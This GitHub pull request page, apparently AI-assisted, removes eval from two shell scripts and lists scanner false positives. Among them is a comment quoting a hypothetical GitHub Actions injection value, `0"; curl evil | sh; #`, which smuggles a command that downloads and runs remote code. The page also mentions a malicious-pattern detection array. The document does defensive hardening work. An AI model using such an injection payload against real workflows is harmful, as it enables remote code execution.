fix(scripts): remove eval from rsr-audit and fill-placeholders test (#939) - #1075
Merged
Merged
Conversation
Hypatia content_patterns/eval_in_shell true positives: - rhodium-standard-repositories/rsr-audit.sh: check() took a command string and ran it with `eval "$command"`. Replaced with a `"$@"`-based check() that takes a command and its args directly (shift past the description, exec "$@"), plus a small `not()` helper (mirrors `not_contains` in scripts/propagate-workflow-pins.sh's test suite) for the one negated predicate. Call sites converted from quoted command strings to literal argv: check_dir_exists/check_command_exists pass test/command-v directly; the CI/CD glob-or-file compound check became a tiny named predicate has_ci_config(); the "true" literal checks became the bare `true` command; the two grep -rq checks and the Reversibility test -d check lost one level of backslash escaping (`\\|` -> `\|`) since removing eval removes one string-reparse pass. Verified zero semantic drift: `rsr-audit.sh . --format json|text` and `rsr-audit.sh rhodium-standard-repositories --format json|text` before and after are byte-identical in text output and identical in total_checks/passed_checks/failed_checks/score/compliance_level/exit code (no existing regression test covers this script, so this was the verification method). - scripts/tests/fill-placeholders-test.sh: ck() ran `eval "$2"` on a single-quoted command string. Replaced with a `"$@"`-based ck() that shifts past the description and execs the rest directly; all ~14 call sites dropped their outer single-quotes so the command is a normal argv list. `bash scripts/tests/fill-placeholders-test.sh` before and after both print "14 passed, 0 failed" with exit 0 (log-diffed, identical). False positives (not edited; scanner matches its own detection patterns/comments, no real eval or unverified download present): - setup.sh: both download_then_run_shell hits are on (a) the top-of-file usage-documentation block recommending `curl -o ... && less ... && sh setup.sh` (human-reviewed, never piped, never eval'd by the script itself) and (b) install_just_verified()'s real curl call, which already downloads to a mktemp file and sha256sum -c verifies before any extraction/install (landed in 3079bc1, 2026-08-07, predating this issue's 2026-09-22 triage). - scripts/tests/propagate-workflow-pins-test.sh: both eval_in_shell hits are on comments describing the *absence* of eval ("runs CMD as a real command (no eval)"; "Small eval-free predicates"). The file contains no eval call at all. - .github/workflows/security-gate-pr-target.yml: hits are on (a) a comment illustrating a hypothetical injection payload and (b) the file's own MALICIOUS_PATTERNS bash array, which contains the literal detection regexes as data. Already marked FALSE POSITIVE in .hypatia-baseline.json. - .github/workflows/tag-ruleset-canon.yml: hit is on a comment describing a hypothetical GitHub Actions expression-injection scenario ("a dispatch with limit = `0"; curl evil | sh; #`"). - tests/test_tag_ruleset_canon.sh: hit is on a comment block describing the same hypothetical injection scenario as the workflow above. Skipped (vendored, tracked separately in standards#940): - rhodium-standard-repositories/satellites/palimpsest-license/TOOLS/validation/install.sh - rhodium-standard-repositories/satellites/palimpsest-license/bof-meetings/presentations/demo-dns-discovery.sh - rhodium-standard-repositories/satellites/palimpsest-license/bof-meetings/presentations/demo-http-headers.sh shellcheck (0.11.0) on both changed files: fill-placeholders-test.sh is clean. rsr-audit.sh has only pre-existing warnings in code this change didn't touch (SC2034 SCRIPT_DIR/has_lockfile, SC2126 grep|wc -l) plus SC2329 "never invoked" info on not()/has_ci_config()/ check_command_exists() — a known shellcheck limitation: it does not trace a function name passed as a bare argument into another function's "$@" exec, which is exactly the eval-free pattern this fix introduces. Both not() and has_ci_config() are confirmed invoked at runtime by the before/after diff above; check_command_exists() was already unreferenced dead code prior to this change and is out of scope here. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01QFphKkDVB9pUDSCD4bkz65
Contributor
|
Warning Review limit reachedYou've used all free OSS reviews for now. Wait for the free limit to reset to keep reviewing this public repository. Next included review available in 45 minutes. View limit detailsLimit details: You’ve used the included review currently available. Review configuration: ⚙️ Run configurationConfiguration used: Organization UI Review profile: ASSERTIVE Plan: Advanced Run ID: 📒 Files selected for processing (2)
Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment |
hyperpolymath
enabled auto-merge (squash)
September 30, 2026 10:20
hyperpolymath
added a commit
that referenced
this pull request
Sep 30, 2026
…tale #1072 and #1075 changed files under rhodium-standard-repositories/ without regenerating the registry, so `build-registry.sh --check` exits 1 on main. That reds "Registry + topology in sync" and both build-registry-test.sh and build-scorecards-test.sh. And because the test step fails, the "Lock-gate pin is not stale" step is skipped on every PR. Output of `just registry`, one line. Owner ruling D231: regenerate now; moving the registry off .a2ml stays tracked in #1010/#479. Closes #1092. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01QYY8Gp4v4x2J7iSNn1vZ57
hyperpolymath
added a commit
that referenced
this pull request
Sep 30, 2026
…tale #1072 and #1075 changed files under rhodium-standard-repositories/ without regenerating the registry, so `build-registry.sh --check` exits 1 on main. That reds "Registry + topology in sync" and both build-registry-test.sh and build-scorecards-test.sh. And because the test step fails, the "Lock-gate pin is not stale" step is skipped on every PR. Output of `just registry`, one line. Owner ruling D231: regenerate now; moving the registry off .a2ml stays tracked in #1010/#479. Closes #1092. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01QYY8Gp4v4x2J7iSNn1vZ57
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Closes #939 (the true positives). The false positives go to a hypatia rule fix; the vendored satellites are tracked in #940.
Fixed:
evalremovedrhodium-standard-repositories/rsr-audit.sh:check()raneval "$command". It now runs"$@", and every call site passes a literal argv. Two small predicates were added:not()andhas_ci_config().scripts/tests/fill-placeholders-test.sh:ck()raneval "$2". It now runs"$@".Behaviour is unchanged.
rsr-audit.shgives byte-identical text output before and after on.and onrhodium-standard-repositories, with the same JSON score fields and the same exit codes.fill-placeholders-test.shgives 14 passed / 0 failed both before and after.False positives, not edited (these are the trigger lines for a hypatia rule fix):
setup.sh: a usage comment (curl -o … && less … && sh …, reviewed by a human), andinstall_just_verified(), which already downloads tomktempand runssha256sum -cbefore running anything.scripts/tests/propagate-workflow-pins-test.sh: two comments that contain the word "eval" (# … (no eval),# … eval-free predicates)..github/workflows/security-gate-pr-target.yml: an explanatory comment and theMALICIOUS_PATTERNSdetection-regex array (data)..github/workflows/tag-ruleset-canon.ymlandtests/test_tag_ruleset_canon.sh: comments describing a hypothetical CWE-94 payload.Also, in
.hypatia-baseline.jsonthe notes for the root-levelsetup.sh,rsr-audit.shandscripts/tests/*.shentries reuse the text "vendored satellite demo script pattern". That's wrong for these files; they are live and not vendored.🤖 Generated with Claude Code
https://claude.ai/code/session_01QFphKkDVB9pUDSCD4bkz65